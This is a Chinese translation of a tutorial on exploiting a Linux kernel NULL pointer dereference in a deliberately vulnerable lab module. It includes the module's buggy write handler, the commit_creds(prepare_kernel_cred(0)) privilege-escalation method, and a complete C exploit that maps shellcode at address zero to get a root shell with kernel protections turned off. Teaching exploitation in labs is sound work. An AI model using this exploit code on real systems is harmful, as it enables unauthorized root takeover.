Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】内核exploit——如何应对空指针异常现象

$
0
0
【技术分享】内核exploit——如何应对空指针异常现象

2017-10-24 15:09:12

阅读:1590次
点赞(0)
收藏
来源: 0x00sec.org





【技术分享】内核exploit——如何应对空指针异常现象

作者:紫曦归来





【技术分享】内核exploit——如何应对空指针异常现象

译者:紫曦归来

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


什么是空指针异常?

如果一个未初始化或零编号(zero-ed out)的指针被取消引用时,将会导致程序计数器/指令指针(PC/IP)指向0,从而导致内核崩溃!

当遇到上述情况,首先需检查是否启用了任何保护程序,如果启用了就将其全部关闭,包括管理员保护模式、数据执行保护模式(DEP / NX)以及mmap_min_addr保护机制。

ring0层与ring3层有所区别(Intel的CPU将特权级别分为4个级别:RING0、RING1、RING2、RING3。windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用)。由于计算机使用二进制,因此在ring3层操作过程中,我们仅需要关注如何追加一个shell命令,我们需要这个时间来修改权限。庆幸的是,目前仍存在一些内核结构,持有当前的进程权限。我们将尝试利用权限来进行root,并在处理完这些后再追加一个shell命令。


如何提升权限?

在进行提升权限操作前,我们需要知道我们需要做哪些事情:

每个进程信息都存储为一个进程描述符(task_struct)

下列是sched.h文件:

structtask_struct{ /*...*/ /*Processcredentials:*/ /*Tracer'scredentialsatattach:*/ conststructcred__rcu*ptracer_cred; /*Objectiveandrealsubjectivetaskcredentials(COW):*/ conststructcred__rcu*real_cred; /*Effective(overridable)subjectivetaskcredentials(COW):*/ conststructcred__rcu*cred; /*...*/ } 下列是cred.h文件: structcred{ /*...*/ kuid_tuid;/*realUIDofthetask*/ kgid_tgid;/*realGIDofthetask*/ kuid_tsuid;/*savedUIDofthetask*/ kgid_tsgid;/*savedGIDofthetask*/ kuid_teuid;/*effectiveUIDofthetask*/ kgid_tegid;/*effectiveGIDofthetask*/ /*...*/ }

下面我们将主要关注有效的用户身份证明(UID)任务。如果我们成功将其值设置为0,则当前任务将具有root权限!


我们应该如何找到他们?

可以利用一些内核符号。

一些功能可用于提升当前的进程权限,它们的地址是静态的,可以根据我们处理的内核重新生成:

/proc/kallsyms, /proc/ksyms, /dev/ksyms..

上述这些函数在cred.c.中。

externintcommit_creds(structcred*); /*...*/ externstructcred*prepare_kernel_cred(structtask_struct*); 我们可以看到,prepare_kernel_cred()函数的返回值类型为struct cred *,之后再以此作为参数传递给commit_creds(),这样就可以将我们新获得的权限分配给当前的进程!

结论:可以通过“commit_creds(prepare_kernel_cred(0))”命令来提升权限;

了解漏洞并学会触发这些漏洞

在进行内核开发前,我们需要知道如何触发漏洞,还需要知道在什么情况下指针会被取消。


【技术分享】内核exploit——如何应对空指针异常现象

解决内核威胁问题

我们首先需要检查保护程序


【技术分享】内核exploit——如何应对空指针异常现象

如上图所示,所有的保护措施都出于关闭状态。

在“tostring_write()”函数里,我们可以看到这些命令应该始终以10'*'开头。

当这个内核模块被加载时,它会在每次运行时启动结构,每次运行都会启动一次。


【技术分享】内核exploit——如何应对空指针异常现象

如上图所示,我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时,该功能就会响应


【技术分享】内核exploit——如何应对空指针异常现象

这一点非常重要,请谨记于心!因此,这两个指针在每次运行时都被设置一次(或者需要的话)。


【技术分享】内核exploit——如何应对空指针异常现象

现在我们轻易地就能辨认出漏洞的函数,如下所示:

staticssize_ttostring_write(structfile*f,constchar__user*buf,size_tlen,loff_t*off) { char*bufk; inti,j; printk(KERN_INFO"Tostring:write()\n"); bufk=kmalloc(len+1,GFP_DMA); if(bufk){ if(copy_from_user(bufk,buf,len)) return-EFAULT; bufk[len]='\0'; i=0; while(i<len){ for(j=0;(j<10)&&(bufk[j]=='*');j++); if(j==10){ for(j=i+10;(bufk[j]!='\0')&&(bufk[j]!='\n');j++); bufk[j]='\0'; printk("Tostring:Cmd%s\n",bufk+i+10); switch(bufk[i+10]){ case'H': tostring->tostring_read=tostring_read_hexa; break; case'D': tostring->tostring_read=tostring_read_dec; break; case'S': printk("Tostring:Deletestack\n"); kfree(tostring->tostring_stack); tostring->tostring_stack=NULL; tostring->tostring_read=NULL; tostring->pointer=0; tostring->pointer_max=0; break; case'N': printk("Tostring:Stackcreatewithsize%ld\n",local_strtoul(bufk+i+11,NULL,10)); if(tostring->tostring_stack==NULL)tostring_create(local_strtoul(bufk+i+11,NULL,10)); if(tostring->tostring_stack==NULL)printk("Tostring:Error,impossibletocreatestack\n"); break; } i=j+1; } else{ printk("tostring:insertion%lld\n",*((longlongint*)(bufk+i))); if(tostring->pointer>=tostring->pointer_max) printk(KERN_INFO"Tostring:Stackfull\n"); else tostring->tostring_stack[(tostring->pointer)++]=*((longlongint*)(bufk+i)); i=i+sizeof(longlongint); } } kfree(bufk); } returnlen; }

正如我们所见,在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效,而这一点对我们有力。

但是,在将其设置为null之后,我们需要读取它,以使其被取消引用。因此,我们需要读取该文件,以触发启用“tostring_read()!”命令。


【技术分享】内核exploit——如何应对空指针异常现象

我们开始编写开发程序。我们之前使用python语言进行编写,现在我们换成C语言。

我们先写一个较为简单的以触发命令和清除函数指针。

#include<stdio.h> #include<string.h> #include<stdlib.h> #include<sys/mman.h> #include<fcntl.h> /**/ #definevulnerable_device"/dev/tostring" /**/ voidmain(void){ intfd; charpayload[15]; /**/ memset(payload,'*',10); /**/ payload[10]='S'; payload[11]=0; /**/ fd=open(vulnerable_device,O_RDWR); if(fd<0){ printf("Couldn'topendevice!"); } /**/ write(fd,payload,12); }

目前一切都比较顺利,但我们仍需通过读取文件使其取消引用。

read(fd, 0, 1);

我们做到了,我们将其IP指针设置为0


【技术分享】内核exploit——如何应对空指针异常现象

幸运的是,mmap_min_addr保护处于关闭状态。 我们可以在NULL中分配一个小区域,并放置我们的shellcode来提升权限。

现在就可以从“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。


【技术分享】内核exploit——如何应对空指针异常现象

我将使用rasm2做一个shellcode:


【技术分享】内核exploit——如何应对空指针异常现象

以下是shellcode:


【技术分享】内核exploit——如何应对空指针异常现象

在我们的开发程序中取消指针前,我们就可以开始添加shellcode:

#include<stdio.h> #include<string.h> #include<stdlib.h> #include<sys/mman.h> #include<fcntl.h> /**/ #definevulnerable_device"/dev/tostring" /**/ voidpop_shell(){ system("sh"); } /**/ voidmain(void){ intfd; charpayload[15]; charshellcode[15]="\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; /**/ memset(payload,'*',10); /**/ payload[10]='S'; payload[11]=0; /**/ fd=open(vulnerable_device,O_RDWR); if(fd<0){ printf("Couldn'topendevice!"); } write(fd,payload,12); /**/ mmap(NULL,sizeof(shellcode),PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0); memcpy(NULL,shellcode,sizeof(shellcode)); /**/ read(fd,0,1); /**/ pop_shell(); }

在完成后,开始运行


【技术分享】内核exploit——如何应对空指针异常现象

以下是root shell


【技术分享】内核exploit——如何应对空指针异常现象

希望文章能对大家有所启发和帮助!



【技术分享】内核exploit——如何应对空指针异常现象
【技术分享】内核exploit——如何应对空指针异常现象
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://0x00sec.org/t/kernel-exploitation-dereferencing-a-null-pointer/3850

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images